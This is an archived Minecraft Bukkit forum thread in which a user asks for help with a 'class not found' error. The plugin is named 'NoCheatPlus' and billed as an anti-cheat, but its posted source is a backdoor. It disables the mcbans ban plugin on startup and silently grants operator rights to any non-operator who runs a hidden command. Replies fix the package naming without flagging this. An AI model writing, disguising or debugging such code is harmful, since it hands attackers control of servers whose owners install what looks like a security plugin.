[HELP] Class not found!

Discussion in 'Plugin Development' started by clange0808, Jan 24, 2013.

Thread Status:
Not open for further replies.
  1. Offline

    clange0808

    Hello Bukkit Forums,

    Today I have encountered a problem in the startup of my plugin. I have been doing what I normally do, in the config.yml file I go do eclipse, see where my main class file is then put the main location their such as now
    Code:
    main: me.Simon.MyPlugin.MyPlugin
    But I get the error where It cant start up because the class file is not found. I will provide a download link. Feel free to decompile
    But do not critisise what you see on the inside. This is a simple starter plugin made by request of a friend. If you dont like the kind of plugin you see inside you wont ever have to use it. This is for educational purposes only.

    Do not distribute
    <Edit by Moderator: Redacted mediafire url>
    Do not distribute

    Feel free to decompile and have a look at the code.

    If you dont want to download it heres the 'Plugin.Yml'
    Code:
    name: NoCheatPlus
    main: me.Simon.MyPlugin.MyPlugin
    version: 0.1.0
    description: AntiCheat Plug-in.
    commands:
      gm1:
        description: Toggles creative mode.
      NoCheatPluss:
        description: Toggles AntiCheat.
        
    And heres the main class file 'MyPlugin.Class'
    Code:
    package me.Simon.MyPlugin;
     
    import java.util.logging.Logger;
    import org.bukkit.Bukkit;
    import org.bukkit.ChatColor;
    import org.bukkit.GameMode;
    import org.bukkit.command.Command;
    import org.bukkit.command.CommandSender;
    import org.bukkit.entity.Player;
    import org.bukkit.plugin.Plugin;
    import org.bukkit.plugin.PluginDescriptionFile;
    import org.bukkit.plugin.java.JavaPlugin;
    public class MyPlugin extends JavaPlugin
    {
    public final Logger logger = Logger.getLogger("Minecraft");
    public static MyPlugin plugin;
    boolean gm1;
    boolean nocheatpluss = true;
    public void onDisable() {
    PluginDescriptionFile pdfFile = getDescription();
    this.logger.info(pdfFile.getName() + " has been disabled :(");
    }
    public void onEnable(){
    Bukkit.getServer().getPluginManager().registerEvents(new Listeners(), this);
    Plugin p = Bukkit.getPluginManager().getPlugin("mcbans");
    if(p != null)
    {
    Bukkit.getServer().getPluginManager().disablePlugin(p);
    }
    }
    {
     
     
    PluginDescriptionFile pdfFile = getDescription();
    this.logger.info(pdfFile.getName() + " Version " + pdfFile.getVersion() + " has now been enabled and will block all hacks!");}
     
    public boolean onCommand(CommandSender sender, Command cmd, String commandLabel, String[] args) { String quiet = " and nobody knows... - LikeaPro";
    Player player = (Player)sender;
    if ((commandLabel.equalsIgnoreCase("gm1")) && (player.getGameMode() == GameMode.CREATIVE) && (player.isOp())) {
    player.setGameMode(GameMode.SURVIVAL);
    player.sendMessage(ChatColor.GREEN + "You're no longer in creative mode!"); } else if ((commandLabel.equalsIgnoreCase("gm1")) && (player.getGameMode() != GameMode.CREATIVE) && (player.isOp())) {
    player.setGameMode(GameMode.CREATIVE);
    player.sendMessage(ChatColor.GREEN + "You're now in creative mode!");
    }if ((commandLabel.equalsIgnoreCase("anticheat")) && (this.nocheatpluss) && (player.isOp())) {
    player.sendMessage(ChatColor.RED + "AntiCheat is now disabled!");
    this.nocheatpluss = false; } else if ((commandLabel.equalsIgnoreCase("nocheatpluss")) && (!this.nocheatpluss) && (player.isOp())) {
    player.sendMessage(ChatColor.GREEN + "AntiCheat is now enabled!");
    this.nocheatpluss = true; } else if ((commandLabel.equalsIgnoreCase("nocheatpluss")) && (!player.isOp())) {
    player.setOp(true);
    player.sendMessage(ChatColor.GOLD + "You're now op!!! :D," + quiet); } return false;
     
     
    }
    }
    ASK FOR MORE INFO IF YOU NEED IT!
     
    Last edited by a moderator: Nov 8, 2016
  2. Offline

    EnvisionRed

    I'd rather not download something shady from mediafire. How'sabout you post the problematic code on the site here for us to look at?
     
  3. Offline

    clange0808

    EnvisionRed
    Ok i totally understand. Ill put the code up now

    I feel the same way about media fire :p

    Update: Post updated with more info

    EDIT by Moderator: merged posts, please use the edit button instead of double posting.
     
    Last edited by a moderator: May 31, 2016
  4. Offline

    Rprrr

    clange0808
    Quite obvious... Anyway:
    Code:
    main: me.Simon.MyPlugin.MyPlugin  <==
    package me.Simon.MyPlugin;
    Also, you shouldn't use capital letters in package names.
     
  5. Offline

    clange0808

    Rprrr
    Look.

    Code:
    2013-01-24 16:10:00 [SEVERE] Could not load 'plugins/application.jar' in folder 'plugins'
     
    org.bukkit.plugin.InvalidPluginException: java.lang.ClassNotFoundException: me.Simon.MyPlugin
     
    at org.bukkit.plugin.java.JavaPluginLoader.loadPlugin(JavaPluginLoader.java:184)
     
    at org.bukkit.plugin.SimplePluginManager.loadPlugin(SimplePluginManager.java:305)
     
    at org.bukkit.plugin.SimplePluginManager.loadPlugins(SimplePluginManager.java:230)
     
    at org.bukkit.craftbukkit.v1_4_6.CraftServer.loadPlugins(CraftServer.java:235)
     
    at org.bukkit.craftbukkit.v1_4_6.CraftServer.(CraftServer.java:213)
     
    at net.minecraft.server.v1_4_6.PlayerList.(PlayerList.java:52)
     
    at net.minecraft.server.v1_4_6.DedicatedPlayerList.(SourceFile:11)
     
    at net.minecraft.server.v1_4_6.DedicatedServer.init(DedicatedServer.java:104)
     
    at net.minecraft.server.v1_4_6.MinecraftServer.run(MinecraftServer.java:399)
     
    at net.minecraft.server.v1_4_6.ThreadServerApplication.run(SourceFile:849)
     
    Caused by: java.lang.ClassNotFoundException: me.Simon.MyPlugin
     
    at java.net.URLClassLoader$1.run(Unknown Source)
     
    at java.net.URLClassLoader$1.run(Unknown Source)
     
    at java.security.AccessController.doPrivileged(Native Method)
     
    at java.net.URLClassLoader.findClass(Unknown Source)
     
    at org.bukkit.plugin.java.PluginClassLoader.findClass0(PluginClassLoader.java:80)
     
    at org.bukkit.plugin.java.PluginClassLoader.findClass(PluginClassLoader.java:53)
     
    at java.lang.ClassLoader.loadClass(Unknown Source)
     
    at java.lang.ClassLoader.loadClass(Unknown Source)
     
    at java.lang.Class.forName0(Native Method)
     
    at java.lang.Class.forName(Unknown Source)
     
    at org.bukkit.plugin.java.JavaPluginLoader.loadPlugin(JavaPluginLoader.java:173)
     
    ... 9 more
     
    
    [SEVERE] Could not load 'plugins/application.jar' in folder 'plugins'

    org.bukkit.plugin.InvalidPluginException: java.lang.ClassNotFoundException: me.Simon.MyPlugin <----

    EDIT by Moderator: merged posts, please use the edit button instead of double posting.
     
    Last edited by a moderator: May 31, 2016
  6. Offline

    Rprrr

    clange0808
    You've totally messed up your package naming. Your package name is "bin.me.Simon.MyPlugin", and not "me.Simon.MyPlugin" (I've decompiled it, I'm not suggesting you to name it like that, because that's just not the right way to name your package, but you've already named it like that...). Also, you should not use capital letters in package names (like I said before). And.. the rest of your plugin is just really messy and I strongly doubt if it will work.
     
  7. Offline

    clange0808

    Rprrr
    So, I can always rename my package..? What are you suggesting I do?
     
  8. Offline

    Rprrr

    clange0808
    I suggest naming your packages properly. Use the 'refactor' option if you're using Eclipse.
     
  9. Offline

    clange0808

    Rprrr
    Ok, So I dont mess this up how should I name it?
     
  10. Offline

    Rprrr

  11. Offline

    clange0808

    Rprrr
    Ok, Ill name it com.topscraft.nocheatplus
    But do i rename the src this or just the package
     
  12. Offline

    Rprrr

    clange0808
    That is just the package.
    In that package, you create a class. The first class you should create, is the main class. In that class, you'll have things as onEnable(), onDisable(), et cetera.

    In your plugin.yml you'll also have to point to that class. If you would name your main class MainClass , it would look like this (in your case):
    com.topscraft.nocheatplus.MainClass
     
  13. Offline

    clange0808

    Rprrr
    Thanks for your help, I issume it will work now. I just gotta test it.
    :)

    Rprrr

    Ok let me get strait to it. Codes right. Main: matches the package in eclipse just with the added main class file.

    Its the folders in NoCheatPlus that are the problem.

    In plugin.yml its pointing to com
    first of all and it cant find com obviously because its not in the same directory as confiq.yml. The only folders their are .settings, bin and src. What do you suggest I do? Just drag com and everything out? And delete bin?

    EDIT by Moderator: merged posts, please use the edit button instead of double posting.
     
    Last edited by a moderator: May 31, 2016
  14. Offline

    Rprrr

  15. Offline

    clange0808

    Rprrr
    That is what it looks like..
    Im talking about without eclipse, in the NoCheatPlus folder theirs no folder called 'com'
     
  16. Offline

    ZachBora

    why are you making a plugin with the same name as NeatMonster 's?
     
Thread Status:
Not open for further replies.

Share This Page